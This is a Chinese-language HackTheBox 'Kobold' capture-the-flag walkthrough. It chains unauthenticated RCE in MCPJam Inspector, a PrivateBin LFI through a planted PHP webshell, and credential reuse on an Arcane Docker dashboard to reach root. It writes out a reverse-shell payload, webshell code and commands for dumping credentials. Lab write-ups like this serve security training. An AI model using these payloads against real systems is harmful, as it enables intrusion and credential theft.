返回首页

MCPJam Inspector 中的 RCE:HTB Kobold 攻略

HackTheBox Kobold 展示了通过开放 API 在 MCPJam Inspector 中的 RCE,与 PrivateBin Docker 容器中的 LFI 链式利用,以及 Arcane dashboard 中的 privesc 凭据重用。攻略包括 nmap、ffuf、payloads 和内部侦察。

HTB Kobold:从 MCP RCE 到通过 Docker 获得 root
Advertisement 728x90

HackTheBox Kobold 靶机:通过 MCPJam Inspector 实现 RCE 的完整攻略

HackTheBox Kobold(第 10 季,简单难度)突显了 AI/ML 生态系统中暴露的开发工具带来的现实威胁。主要攻击向量是 MCPJam Inspector v1.4.2(GHSA-232v-j27c-5pp6)中的未认证 RCE。这导致通过 Docker 卷和凭据重用的连锁攻击,最终获得 root 权限。本分析面向中高级 DevSecOps 专业人员。

Nmap 扫描显示端口 22(SSH)、80/443(nginx,kobold.htb)和 3552(Arcane 仪表板)。关键是 SSL 中的通配符 *.kobold.htb 和子域名 mcp.kobold.htb,后者暴露了 MCPJam Inspector。

侦察与枚举

标准 nmap 扫描:

Google AdInline article slot
nmap -p- -sC -sV -oN recon/nmap/full.txt <目标 IP>

| 端口 | 服务 | 版本 | 备注 |

|------|---------|---------|-------|

| 22 | SSH | OpenSSH 9.6p1 | 无 CVE |

Google AdInline article slot

| 80 | HTTP | nginx 1.24.0 | 重定向到 HTTPS |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Arcane 仪表板 |

Google AdInline article slot

使用 ffuf 进行虚拟主机枚举:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

发现 mcp.kobold.htb — MCPJam Inspector v1.4.2。完全访问权限:服务器、聊天、应用构建器,无需登录。连接到 Ollama。

模型上下文协议(MCP) — 一种将 AI 模型与外部工具集成的协议。Inspector 监听 0.0.0.0,API /api/mcp/connect 接受未经验证的 serverConfig.command

立足点:MCPJam 中的 RCE

监听器设置:

nc -lvnp 4444

有效载荷:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<您的 IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

获得 ben 的 shell(uid=1001,组=ben,operator)。稳定化:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

用户标志:/home/ben/user.txt

内部侦察

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

具有 shell 的用户:root、ben、alice。ben — operator 组,alice — docker 组。

ss -tlnp 显示 localhost:8080(PrivateBin Docker)、6274(MCPJam)。Nginx 配置显示 bin.kobold.htb → localhost:8080。

operator 组对 /privatebin-data/ 具有读写权限 — 这是一个共享的 Docker 卷。

find / -group operator 2>/dev/null

通过卷在 PrivateBin 中实现 LFI

PrivateBin 2.0.2(CVE-2025-64714,GHSA-g2j9-g8r5-rg82)。当 templateselection = true 时,通过 cookie template 实现 LFI。

  • 在卷中创建 webshell:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
  • 执行:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"
  • 转储 conf.php:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

MySQL 凭据:用户名 privatebin,密码泄露。

权限提升:凭据重用

检查清单:

  • SSH(alice/ben/root + 泄露的密码)
  • su alice/root
  • Arcane:arcane/arcane-admin + 泄露的密码

成功:在 :3552 上的 Arcane v1.13.0 中使用 arcane / <泄露的密码>

在仪表板中,完全控制 Docker。创建一个具有特权挂载 /host 的容器 → root shell。

关键要点:

  • 暴露的 MCP 工具(GHSA-232v-j27c-5pp6)— AI 基础设施中的新 RCE 向量
  • 共享 Docker 卷 + operator 组 = 主机文件系统访问
  • 凭据重用:默认用户名 + 泄露的密码
  • 通过可写卷的 LFI 链绕过容器隔离
  • 始终枚举通配符子域名和内部服务

— Editorial Team

Advertisement 728x90

继续阅读